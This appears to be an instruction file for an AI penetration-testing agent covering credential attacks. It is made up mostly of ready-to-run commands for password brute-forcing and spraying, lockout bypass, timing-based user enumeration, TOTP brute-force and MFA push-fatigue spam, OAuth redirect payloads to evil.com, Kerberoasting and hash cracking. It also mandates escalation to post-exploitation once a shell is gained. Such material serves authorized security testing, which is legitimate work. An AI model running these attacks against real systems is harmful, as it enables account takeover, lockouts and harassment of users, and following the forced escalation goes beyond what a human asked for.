| name | credential-audit |
| description | Authentication and credential security assessment. Tests password brute-force, credential stuffing, password spraying, default credential testing, credential harvesting, lockout analysis, MFA bypass, OAuth/OIDC abuse, session token entropy, Kerberos attacks, and intelligent wordlist generation.
Uses hydra, john, ncrack, medusa, cewl, crunch, netexec, impacket, kerbrute, and nuclei default-login templates. Covers OWASP A07:2021 Identification and Authentication Failures.
|
| argument-hint | <target> [service=ssh|ftp|http|smb|rdp|mysql|...] [depth=quick|standard|thorough] [userlist=path] [passlist=path] |
| user-invocable | true |
Authentication & Credential Audit
You are an expert credential security tester. Your goal: systematically test authentication mechanisms for weaknesses โ default credentials, weak passwords, credential reuse, lockout bypass, MFA weaknesses, OAuth/OIDC flaws, session token entropy, Kerberos attacks, and credential harvesting. Report every confirmed authentication failure with evidence.
Request: $ARGUMENTS
CHAIN COMMITMENTS โ DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? |
|---|
After session(action="complete") | /gh-export | OPTIONAL โ user request only |
| Credentials provide shell/RCE access to a system | /post-exploit | MANDATORY |
| AD domain credentials found | /ad-assessment | OPTIONAL |
| Cloud credentials found | /cloud-security | OPTIONAL |
Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md โ do not hard-code client-specific syntax here.
If credentials yield shell access: MUST invoke /post-exploit โ do not stop at credential confirmation.
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) โ this writes the SKILL_CHAIN entry to pentest.log.
Chained from /pentester โ Discovered Credential Material
When invoked from the pentester skill with discovered usernames, hashes, or credential context:
-
Parse the arguments โ extract: target IP/hostname, services list (e.g. service=ssh,ftp,http), user list path (e.g. userlist=/tmp/discovered-users.txt), and any context about how the material was discovered.
-
Load the discovered user list (if provided) โ read the file via kali(command=...) (cat /tmp/discovered-users.txt). These are confirmed usernames on the target system โ they take priority over generic wordlists.
-
If NO user list was provided: run Phase 2.1 (platform-aware username expansion) IMMEDIATELY to build /tmp/spray-users.txt. This is critical โ even without a discovered user list, the expanded list includes common first names and platform-specific accounts that catch weak credentials like anne:princess that generic shortlists miss entirely.
-
Expand the user list with mutations โ generate username variants from the discovered (or platform-generated) names:
kali(command="cat /tmp/discovered-users.txt | while read user; do echo $user; echo ${user,,}; echo ${user^^}; echo ${user^}; done | sort -u > /tmp/expanded-users.txt")
Also try: first.last, flast, firstl, first, last (if full names are available).
-
Target ALL discovered services โ not just the service where the list was found. If FTP exposed users, test SSH, HTTP, SMB, and every other auth service found during recon. The cross-service spray in Phase 6 is mandatory.
-
Build context-aware wordlists โ use the discovery context to inform wordlist generation:
- If users came from a backup file: try the hostname, domain name, and service names as password bases
- If users came from a web application: run
cewl on the web target to build site-specific wordlists
- Always generate username-as-password variants:
username, Username1!, username123, username2024!, USERNAME
-
Skip Phase 1 (service discovery) if the pentester already provided the services list โ go straight to Phase 2 (default creds) with the discovered or expanded user list.
-
Use the top-1000 password list minimum โ never use top-20-common-SSH-passwords.txt or similar tiny lists. The 10-million-password-list-top-1000.txt from SecLists is the minimum for any spraying operation. It includes common names (princess, sunshine, dragon, charlie, etc.) that tiny lists omit.
Tools Available
| Tool | Use for |
|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits โ always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
scan(tool="nuclei", ...) | Default credential templates โ fast check for known default logins |
scan(tool="nmap", ...) | Service detection โ identify auth-enabled services |
kali(command=...) | Kali tools: hydra, john, ncrack, medusa, cewl, crunch, hashcat, netexec, kerbrute, impacket |
http(action="request", ...) | Raw HTTP โ manual auth testing, cookie analysis, OAuth flows. Set poc=True for confirmed exploits |
http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ |
report(action="finding", data={...}) | Log a confirmed vulnerability with evidence to findings.json |
report(action="diagram", data={...}) | Save a Mermaid diagram to findings.json |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write a reasoning note or decision to the session log |
Attack Techniques
| Technique | ATT&CK | Tools |
|---|
| Password Guessing | T1110.001 | hydra, nuclei |
| Password Cracking | T1110.002 | john, hashcat |
| Password Spraying | T1110.003 | hydra, netexec |
| Credential Stuffing | T1110.004 | hydra, medusa |
| Default Credentials | T1078.001 | nuclei, hydra |
| Credential in Files | T1552.001 | trufflehog, grep |
| Kerberos Attacks | T1558 | impacket, kerbrute, john |
| MFA Bypass | T1111 | http(action="request", ...), manual |
| OAuth/OIDC Abuse | T1550.001 | http(action="request", ...), kali(command=...) |
| Timing Enumeration | T1589.001 | http(action="request", ...), kali(command=...) |
| Session Token Analysis | T1539 | kali(command=...), http(action="request", ...) |
Depth Presets
| Depth | What runs | Limits |
|---|
quick | Default creds (nuclei) + top-100 passwords | $0.10 |
standard | Quick + spraying + custom wordlist + lockout detection + timing enumeration | $0.50 |
thorough | Standard + hash cracking + MFA bypass + OAuth + session analysis + Kerberos | unlimited |
Workflow
Before running any tool
If depth/service is unspecified, ask:
Target: <target> | Service(s): <detected or unknown>
quick โ default creds + top-100 ($0.10 ยท 10 min ยท 8 calls)
standard โ + spraying + lockout detection ($0.50 ยท 30 min ยท 20 calls)
thorough โ + MFA bypass + OAuth + Kerberos (unlimited)
Any known usernames, captured hashes, or rate limiting concerns?
Phase 0 โ Scope & Setup
session(action="start", options={...}) with target, depth, limits
report(action="dashboard", data={"port": 7777})
report(action="note", data={...}) โ record target services, known usernames, auth mechanisms
Phase 1 โ Service Discovery & Auth Fingerprinting
-
Identify auth services:
scan(tool="nmap", target=HOST, options={"ports": "21,22,23,25,80,88,110,143,389,443,445,636,993,1433,3306,3389,5432,5900,6379,8080,8443,27017"})
-
Probe web auth via http(action="request", ...): find login pages, identify auth type (form/basic/bearer/OAuth/SAML), check for CAPTCHA, note error messages ("Invalid username" vs "Invalid credentials" = user enumeration)
-
report(action="note", data={...}) + report(action="diagram", data={...}) with auth architecture (login form, auth service, DB, LDAP, MFA, OAuth paths)
Phase 2 โ Default Credential Testing
2.0 โ Empty/blank password check (always run first):
Test empty passwords before anything else. Misconfigured services (SSH PermitEmptyPasswords yes, MySQL root with no password, anonymous FTP with credentials, PostgreSQL trust auth) are a quick critical win:
# SSH โ empty password for common service accounts
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ssh -t 4 -W 3")
# If discovered usernames exist, test those too
kali(command="hydra -L /tmp/discovered-users.txt -p '' TARGET ssh -t 4 -W 3")
# MySQL โ root with no password
kali(command="hydra -l root -p '' TARGET mysql -t 4")
# PostgreSQL โ postgres with no password
kali(command="hydra -l postgres -p '' TARGET postgres -t 4")
# FTP โ common accounts with empty password
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ftp -t 4")
# Redis โ no auth
kali(command="redis-cli -h TARGET ping")
# MongoDB โ no auth
kali(command="mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})'")
Report any empty-password login as Critical โ it's zero-effort access.
2.1 โ Platform-aware username expansion (when no discovered user list exists):
When invoked WITHOUT a userlist= argument, build a comprehensive username list from multiple sources before testing:
kali(command="cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt > /tmp/spray-users.txt")
Then append platform-specific usernames based on detected OS/service banners. These are common examples โ always supplement with SecLists username wordlists for broader coverage:
kali(command="cat /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt | head -500 >> /tmp/spray-users.txt")
| Banner contains | Append usernames (examples) |
|---|
Debian, Ubuntu | www-data, pi, ftpuser, debian, ubuntu |
CentOS, Red Hat, Fedora | centos, ec2-user, fedora |
FreeBSD | freebsd, toor |
GCP (googleusercontent.com) | google-sudoer, chronos |
AWS (amazonaws.com) | ec2-user, ubuntu, centos, admin, bitnami |
| Azure | azureuser, azure |
| Docker (hostname looks like container ID) | app, node, web, deploy |
| FTP service present | ftp, ftpuser, anonymous, backup |
| Any SSH | Use SecLists names: /usr/share/seclists/Usernames/Names/names.txt |
kali(command="printf 'anne\njohn\nmary\njames\n...\n' >> /tmp/spray-users.txt && sort -u /tmp/spray-users.txt -o /tmp/spray-users.txt")
Use /tmp/spray-users.txt as the user list for all Phase 2 and Phase 6 commands. This ensures common first names (like anne) are tested even when no explicit user list has been discovered.
2.2 โ Default credential wordlists:
Run scan(tool="nuclei", target=URL, options={"templates": "default-login"}) in parallel with service-specific defaults:
| Service | Command |
|---|
| SSH | hydra -L /tmp/spray-users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt -s PORT TARGET ssh -t 4 -W 3 (use /tmp/spray-users.txt from Phase 2.1 if no discovered user list, or /tmp/discovered-users.txt if available). Do NOT use top-20-common-SSH-passwords.txt โ it's too small and misses common passwords like princess, sunshine, dragon, etc. The top-1000 list takes ~4 min with 4 threads per user and catches the vast majority of weak passwords. |
| FTP | Same user list + password list, TARGET ftp -t 4 |
| MySQL | -l root, same pass list, TARGET mysql -t 4 |
| PostgreSQL | -l postgres, TARGET postgres -t 4 |
| SMB | nxc smb TARGET -u administrator -p /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt |
| RDP | -l administrator, TARGET rdp -t 4 |
| MSSQL | -l sa, TARGET mssql -t 4 |
| Redis | redis-cli -h TARGET -a password |
| MongoDB | mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})' |
Default credential discovery methodology:
- GitHub dorks:
curl -s 'https://api.github.com/search/code?q=default+password+VENDOR+extension:md' | jq '.items[:5] | .[].html_url' โ search install guides, Docker entrypoints, Helm values.yaml
- Exploit-DB:
searchsploit 'default password PRODUCT' --json | jq '.RESULTS_EXPLOIT[:5]'
- Vendor docs: installation guides (first-run passwords), API docs (example auth headers), Docker image env vars (
docker inspect IMAGE | jq '.[0].Config.Env')
- Shodan:
http.title:"PRODUCT" "login" for exposed panels, product:"PRODUCT" port:8080 for mgmt interfaces
- SecLists lookup:
grep -i 'PRODUCT' /usr/share/seclists/Passwords/Default-Credentials/default-credentials.csv | head -20
Phase 3 โ Lockout Threshold Detection (standard+)
Determine exact lockout threshold via binary search before spraying.
Algorithm โ use a sacrificial account:
- Send 3 wrong passwords:
hydra -l testuser -P <(printf 'wrong1\nwrong2\nwrong3\n') TARGET ssh -t 1 -W 2. Verify account still active (response says "invalid password" not "locked"). If active: threshold > 3.
- Send 2 more (total 5). If locked: threshold is 4 or 5. If active: threshold > 5.
- Narrow: fresh account, exactly 4 attempts. Still active = threshold is 5. Locked = threshold is 4.
- If > 5: try 10, then 7 or 15, continue binary search.
Lockout signals: HTTP 423/429, "locked"/"disabled"/"too many attempts" in body, response time > 2x baseline, connection refused.
Lockout duration: after triggering, test at 1min, 5min, 15min, 30min intervals:
kali(command="sleep 60 && curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/login -d 'user=testuser&pass=wrong'")
Bypass techniques: IP rotation, username case variation (Admin/admin/ADMIN), Unicode normalization (adm\u0131n), concurrent requests before counter increments, different auth endpoints (/login vs /api/auth may not share lockout state).
Use threshold - 1 as max attempts per account in all spraying.
Phase 4 โ Timing-Based User Enumeration (standard+)
Valid usernames trigger password hash comparison (slow); invalid usernames return immediately (fast).
-
Baseline โ 10 requests with known-invalid usernames:
kali(command="for i in $(seq 1 10); do curl -s -o /dev/null -w '%{time_total}\n' -X POST https://TARGET/login -d 'user=definitelynotauser_$i&pass=wrongpass'; done")
-
Test candidates โ 3 samples each:
kali(command="for user in admin root administrator operator service backup; do echo -n \"$user: \"; for i in 1 2 3; do curl -s -o /dev/null -w '%{time_total} ' -X POST https://TARGET/login -d \"user=$user&pass=wrongpass\"; done; echo; done")
-
Analysis: discard first request (cold cache). Consistent > 2x baseline = valid user.
LDAP timing: bind as user@DOMAIN with wrong password โ "Invalid credentials" + slow = valid; "No such object" + fast = invalid.
SSH timing (CVE-2016-6210): /usr/bin/time -f '%e' ssh -o BatchMode=yes -o ConnectTimeout=5 USER@TARGET โ valid users take longer due to hash computation.
SMTP (complementary): smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t TARGET
Add confirmed users to /tmp/valid-users.txt for spraying.
Phase 5 โ Advanced Wordlist Mutation (standard+)
5.0 โ Username-derived passwords (always run first when a user list exists):
When you have discovered usernames, these are your highest-priority password candidates โ many users set passwords based on their own username:
kali(command="cat /tmp/discovered-users.txt | while read u; do
echo ''
echo \"$u\"
echo \"${u^}\"
echo \"${u}1\"
echo \"${u}123\"
echo \"${u}!\"
echo \"${u}1!\"
echo \"${u}123!\"
echo \"${u}@123\"
echo \"${u}2024\"
echo \"${u}2025\"
echo \"${u}2026\"
echo \"${u^}1!\"
echo \"${u^}123\"
echo \"${u^}123!\"
echo \"${u^}2024!\"
echo \"${u^}2025!\"
echo \"${u^}2026!\"
echo \"P@ssw0rd\"
echo \"Password1\"
echo \"Password123!\"
echo \"Welcome1!\"
echo \"Changeme1!\"
done | sort -u > /tmp/username-passwords.txt")
Run this against ALL services before moving to generic wordlists:
kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ssh -t 4 -W 3")
kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ftp -t 4 -W 3")
Also test each username as its own password (identity spray):
kali(command="hydra -C <(paste -d: /tmp/discovered-users.txt /tmp/discovered-users.txt) TARGET ssh -t 4")
-
CeWL: cewl TARGET -d 2 -m 5 -w /tmp/cewl-words.txt --count
-
John best64 rules (64 most effective mutations โ append digits, toggle case, reverse):
kali(command="john --wordlist=/tmp/cewl-words.txt --rules=best64 --stdout | head -5000 > /tmp/mutated.txt")
| Rule | What it does | When to use |
|---|
best64 | Top 64 mutations | Always โ first pass |
d3ad0ne | 34K+ competition rules | Thorough โ smaller wordlists only |
KoreLogic | Enterprise patterns (Company2024!) | Corporate targets |
Single | Username-derived mutations | When you have usernames |
-
Keyboard walks: qwerty123, 1qaz2wsx, !QAZ2wsx, 1q2w3e4r5t, zaq12wsx, qazwsxedc, asdfghjkl, 0987654321
-
Mask attacks โ corporate password patterns:
# Company+Year+Char: Company2024!
kali(command="for word in $(head -5 /tmp/cewl-words.txt); do for year in 2023 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${word^}${year}${c}\"; done; done; done > /tmp/masks.txt")
# Season+Year: Summer2024!, Winter2025@
kali(command="for s in Spring Summer Autumn Winter Fall; do for y in 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${s}${y}${c}\"; done; done; done >> /tmp/masks.txt")
-
Leetspeak: sed 's/a/@/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/$/g' on CeWL output
-
Merge all: cat /tmp/mutated.txt /tmp/masks.txt /tmp/leet.txt /tmp/keyboard-walks.txt | sort -u > /tmp/final-wordlist.txt
Phase 6 โ Cross-Service Credential Spray (standard+)
IMPORTANT: This phase is MANDATORY whenever multiple auth services exist OR a user list (discovered or platform-generated) is available. Every username must be tested against every discovered auth service โ not just the service where the list was found. If FTP exposed a user list, SSH and HTTP are equally valid targets. If no discovered user list exists, use /tmp/spray-users.txt from Phase 2.1 (platform-aware expansion) โ it includes common first names and platform-specific accounts that go far beyond the generic shortlist.
Single-service spray (respect lockout threshold from Phase 3):
kali(command="hydra -L /tmp/valid-users.txt -p 'Password123!' TARGET ssh -t 2 -W 5")
kali(command="nxc smb TARGET -u /tmp/valid-users.txt -p 'Company2024!' --continue-on-success")
Cross-service automation โ when creds found on one service, test all others:
kali(command="echo '--- SMB ---' && nxc smb TARGET -u founduser -p 'foundpass'; \
echo '--- RDP ---' && nxc rdp TARGET -u founduser -p 'foundpass'; \
echo '--- SSH ---' && nxc ssh TARGET -u founduser -p 'foundpass'; \
echo '--- WINRM ---' && nxc winrm TARGET -u founduser -p 'foundpass'; \
echo '--- MSSQL ---' && nxc mssql TARGET -u founduser -p 'foundpass'; \
echo '--- FTP ---' && nxc ftp TARGET -u founduser -p 'foundpass'")
Multi-host multi-protocol sweep:
kali(command="for proto in smb rdp ssh winrm mssql; do echo \"=== $proto ===\"; nxc $proto TARGET_RANGE -u /tmp/valid-users.txt -p 'Password123!' --continue-on-success 2>&1 | grep -E '\\+|SUCCESS'; done")
Services not in netexec: use hydra for PostgreSQL (postgres), Oracle (oracle-listener), HTTP Basic (http-get /admin), HTTP POST form.
Call report(action="finding", data={...}) immediately for every working credential pair.
Phase 7 โ MFA Bypass Testing (thorough)
MFA Bypass Matrix:
| # | Technique | Test method |
|---|
| 1 | Step-up parameter removal | Remove mfa_required/otp/totp_code from POST body, replay auth request. Some enforce MFA client-side only |
| 2 | Response manipulation | Change "mfa_required": true to false, or "status": "mfa_pending" to "authenticated" in response |
| 3 | TOTP brute-force window | 30-sec TOTP window = 3 valid codes (prev/current/next). 6-digit = 1M possibilities. At 1 req/sec, ~30 codes/window. No rate limit = brute-force in ~9.3 hours |
| 4 | Backup code testing | Often 8-digit numeric. Check if backup endpoint has separate rate limiting. Try 00000000, 12345678, 11111111 |
| 5 | MFA fatigue (push spam) | For Duo/MS Authenticator: send 20+ push requests spaced 2-3sec apart. Users approve from frustration |
| 6 | Session reuse post-MFA | Capture session token after MFA, logout, replay token. Check if server validates MFA on every request or only at login |
| 7 | MFA disable via recovery | Reset password, check if MFA auto-disables. Test "forgot password" + "remember device" interaction |
| 8 | Different auth path | Test ALL paths: /login, /api/auth, /m/login, /v1/login, SSO callback, OAuth token endpoint |
Key commands:
# Technique 1: omit OTP field entirely
http(action="request", url="https://TARGET/api/auth/verify", method="POST", body={"username": "user", "password": "pass"})
# Technique 3: TOTP brute-force
kali(command="for code in $(seq -w 000000 000100); do RESP=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/api/verify-mfa -d \"{\\\"code\\\":\\\"$code\\\"}\" -H 'Content-Type: application/json' -H 'Cookie: session=TOKEN'); echo \"$code: $RESP\"; [ \"$RESP\" = \"200\" ] && break; done")
# Technique 5: push fatigue
kali(command="for i in $(seq 1 20); do curl -s -X POST https://TARGET/api/push-mfa -d '{\"username\":\"target_user\"}' -H 'Content-Type: application/json'; sleep 3; done")
# Technique 6: session reuse after logout
http(action="request", url="https://TARGET/api/logout", method="POST", headers={"Cookie": "session=MFA_TOKEN"})
http(action="request", url="https://TARGET/api/dashboard", method="GET", headers={"Cookie": "session=MFA_TOKEN"})
Phase 8 โ OAuth/OIDC Credential Testing (thorough)
Grant type confusion โ test if server accepts unintended grants:
# ROPC (should be disabled): bypasses user interaction
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "password", "username": "admin", "password": "admin", "client_id": "CLIENT_ID"})
# client_credentials: may issue tokens without user context
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "client_credentials", "client_id": "CLIENT_ID", "client_secret": "SECRET"})
# implicit (deprecated): direct token in URL fragment
http(action="request", url="https://TARGET/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://evil.com/cb&scope=openid", method="GET")
Scope escalation โ request privileged scopes: scope=openid+profile+admin+write+users:manage
Redirect URI manipulation:
- Open redirect:
redirect_uri=https://evil.com/callback
- Path traversal:
redirect_uri=https://app.TARGET/callback/../../../attacker
- URL encoding:
redirect_uri=https://app.TARGET%40evil.com/callback
- Fragment injection:
redirect_uri=https://app.TARGET/callback%23@evil.com
- Subdomain takeover:
redirect_uri=https://staging.TARGET/callback
PKCE downgrade โ request auth code without code_challenge, exchange without code_verifier. Should fail if PKCE enforced.
Auth code replay โ use same authorization code twice; second use should fail.
Client secret brute-force:
kali(command="for s in $(cat /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt); do R=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/oauth/token -d \"grant_type=client_credentials&client_id=CID&client_secret=$s\"); echo \"$s: $R\"; [ \"$R\" = \"200\" ] && break; done")
Token exchange abuse (RFC 8693) โ exchange user token for admin-scoped token via grant_type=urn:ietf:params:oauth:grant-type:token-exchange
Phase 9 โ Session Token Entropy Analysis (thorough)
-
Collect 20+ tokens: login repeatedly, extract from Set-Cookie headers:
kali(command="for i in $(seq 1 20); do curl -s -D - -X POST https://TARGET/login -d 'user=test&pass=test' | grep -i 'set-cookie' | sed 's/.*session=//; s/;.*//'; done > /tmp/tokens.txt")
-
Shannon entropy:
kali(command="python3 -c \"
import math, collections
tokens = open('/tmp/tokens.txt').read().strip().split('\n')
for t in tokens[:5]:
freq = collections.Counter(t)
ent = -sum((c/len(t))math.log2(c/len(t)) for c in freq.values())
print(f'{t[:20]}... len={len(t)} ent={ent:.2f}b/char total={entlen(t):.0f}b')
"")
Secure: > 4.0 bits/char, > 128 bits total. Below 64 bits = brute-forceable.
3. **Sequential pattern detection**:
kali(command="python3 -c "
tokens = open('/tmp/tokens.txt').read().strip().split('\n')
try:
nums = [int(t,16) for t in tokens]
diffs = [nums[i+1]-nums[i] for i in range(len(nums)-1)]
if len(set(diffs))==1: print(f'CRITICAL: strictly sequential, increment={diffs[0]}')
elif max(diffs)-min(diffs)<100: print(f'WARNING: nearly sequential, range={min(diffs)}-{max(diffs)}')
except: print('Not numeric/hex sequences')
prefixes = set(t[:8] for t in tokens)
if len(prefixes) < len(tokens)/2: print('WARNING: shared prefixes โ timestamp-based?')
"")
4. **Timestamp detection** โ base64-decode tokens, check if first 4 bytes are a Unix timestamp (1600000000-2000000000 range). Check hex prefix similarly.
---
### Phase 10 โ Kerberos Credential Attacks (thorough, AD environments)
**AS-REP Roasting** โ accounts without pre-authentication:
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/valid-users.txt -format hashcat -outputfile /tmp/asrep.txt")
kali(command="john --wordlist=/tmp/final-wordlist.txt --format=krb5asrep /tmp/asrep.txt && john --show /tmp/asrep.txt")
**Kerberoasting** โ extract TGS hashes for service accounts (requires any valid domain cred):
kali(command="impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
- `$krb5tgs$23$` = RC4 (fast to crack, prioritize)
- `$krb5tgs$18$` = AES256 (slow, deprioritize)
**Offline cracking priority:**
| Priority | Method | Rule/Wordlist |
|----------|--------|---------------|
| 1 | Target wordlist + best64 | `/tmp/final-wordlist.txt` + `--rules=best64` |
| 2 | Keyboard walks + masks | `/tmp/keyboard-walks.txt` + `/tmp/masks.txt` |
| 3 | rockyou + best64 | `/usr/share/wordlists/rockyou.txt` + `--rules=best64` |
| 4 | CeWL + KoreLogic | `/tmp/cewl-words.txt` + `--rules=KoreLogic` |
| 5 | rockyou + d3ad0ne | Last resort โ very slow |
**Kerbrute enumeration** (no account required):
kali(command="kerbrute userenum --dc DC_IP -d DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt --output /tmp/kerbrute-valid.txt 2>&1 | tail -20")
---
### Phase 11 โ Hash Cracking & Web Auth Testing (thorough)
**Hash cracking** (from DB dumps, NTLM, SAM, etc.):
1. Identify: `hashid 'HASH'` + `john --list=formats | grep -i FORMAT`
2. Crack: `john --wordlist=/usr/share/wordlists/rockyou.txt --format=FORMAT /tmp/hashes.txt`
3. Rules: `john --wordlist=/tmp/final-wordlist.txt --rules=best64 --format=FORMAT /tmp/hashes.txt`
4. Show: `john --show /tmp/hashes.txt`
**Web auth testing:**
- **Session management**: cookie flags (Secure, HttpOnly, SameSite), session fixation, logout invalidation
- **JWT**: `alg: none`, RS256-to-HS256 key confusion, expired token replay, sensitive data in payload
- **Password policy**: min length (1/3/6 char), complexity (all lowercase), common password rejection, password reuse
---
### Phase 12 โ Verification & PoC
For every confirmed finding:
1. `report(action="note", data={...})` โ what was confirmed
2. Verify access โ actually log in with discovered credentials
3. `http(action="request", options={"poc": true})` for web findings
4. `http(action="save_poc", ...)` with descriptive title (e.g., `default-creds-admin`, `mfa-bypass-param-removal`, `oauth-scope-escalation`)
5. `report(action="finding", data={...})` โ severity: Critical (admin/MFA bypass), High (user access/OAuth abuse), Medium (weak tokens/enumeration), Low (best practice gaps)
---
### Phase 13 โ Report & Wrap-Up
1. `report(action="diagram", data={...})` โ credential attack surface diagram
2. `report(action="note", data={...})` with summary:
Credential Audit Summary:
Default credentials: [count] services โ [findings]
Lockout threshold: [N] attempts / [duration]
User enumeration: [count] users via [method]
Password spraying: [users] x [passwords] โ [findings]
Cross-service reuse: [creds] across [services] โ [findings]
MFA bypass: [techniques] tested โ [findings]
OAuth/OIDC: [tests] โ [findings]
Session entropy: [bits] bits โ [adequate/weak]
Hash cracking: [total] hashes โ [cracked] cracked
Kerberos: [AS-REP/Kerberoast] โ [findings]
3. `session(action="complete", options={...})`
---
## Finding Severity Guide
| Severity | Criteria | Examples |
|----------|----------|---------|
| **Critical** | Admin/root access, MFA fully bypassed, mass credential compromise, domain admin via Kerberos | Default admin creds on production; MFA disabled via account recovery; AS-REP roast cracks domain admin |
| **High** | Regular user access, OAuth scope escalation, session prediction, partial MFA bypass | Spray finds 5 accounts; client_credentials issues admin tokens; push fatigue succeeds |
| **Medium** | Weak policy, low entropy, user enumeration, lockout bypass | No complexity requirements; tokens < 64 bits; timing reveals 20 valid users |
| **Low** | Informational, best practice gaps | Missing Secure flag; high lockout threshold (20); password reuse allowed |
---
## Chaining Other Skills
| Skill | When to invoke |
|-------|----------------|
| `/post-exploit` | Valid credentials obtained โ post-exploitation and lateral movement |
| `/lateral-movement` | Credentials work across multiple services โ test lateral movement paths |
| `/analyze-cve` | Auth library has a known CVE โ trace exploitability |
| `/gh-export` | When user asks to file GitHub issues|
---
## Context Recovery After Compaction
When your context is compacted mid-skill:
1. **Call `session(action="recovery")`** before doing anything else โ returns a compact brief with `tools_already_run`, `in_progress_cells`, `pending_escalations`, and `EXECUTE_NOW`
2. **Resume `in_progress` cells first** โ notes contain what payloads / credential sets were already tried
3. **Follow `pending_escalations`** โ confirmed credentials that haven't been tested on all services yet
4. **Skip steps whose tools appear in `tools_already_run`** โ do not re-run hydra/kerbrute on already-tested targets
5. **Never fabricate confirmation** โ after compaction, re-verify credentials with a live login attempt, not from memory
---
## Rules
- **`session(action="start", options={...})` is mandatory** โ never run any other tool before it
- **Batch independent tools in the same response** โ they execute in parallel
- When any tool returns a LIMIT message, stop immediately and call `session(action="complete", options={...})`
- **Detect lockout threshold BEFORE spraying** โ binary search (Phase 3), then use `threshold - 1`
- **Start with default credentials** โ always test vendor defaults before brute-force
- **Build custom wordlists** โ cewl + john rules + mask attacks beat generic wordlists
- **Spray over brute-force** โ 2 passwords x 1000 users beats 1000 passwords x 1 user
- **Test credential reuse cross-service** โ every found credential pair must hit all discovered services
- **Call `report(action="finding", data={...})` for every confirmed credential** โ include service, username, verified access
- **For every confirmed exploit**: call `http(action="request", options={"poc": true})` AND `http(action="save_poc", ...)`
- **Use `report(action="note", data={...})` liberally** โ document reasoning for wordlist choices and attack strategy
- **Never fabricate findings** โ only report credentials you actually verified
- **Mermaid syntax rules**: `flowchart TD`, quote labels, no em-dashes, short alphanumeric node IDs
- Call `session(action="stop_kali")` at the end if `kali(command=...)` was used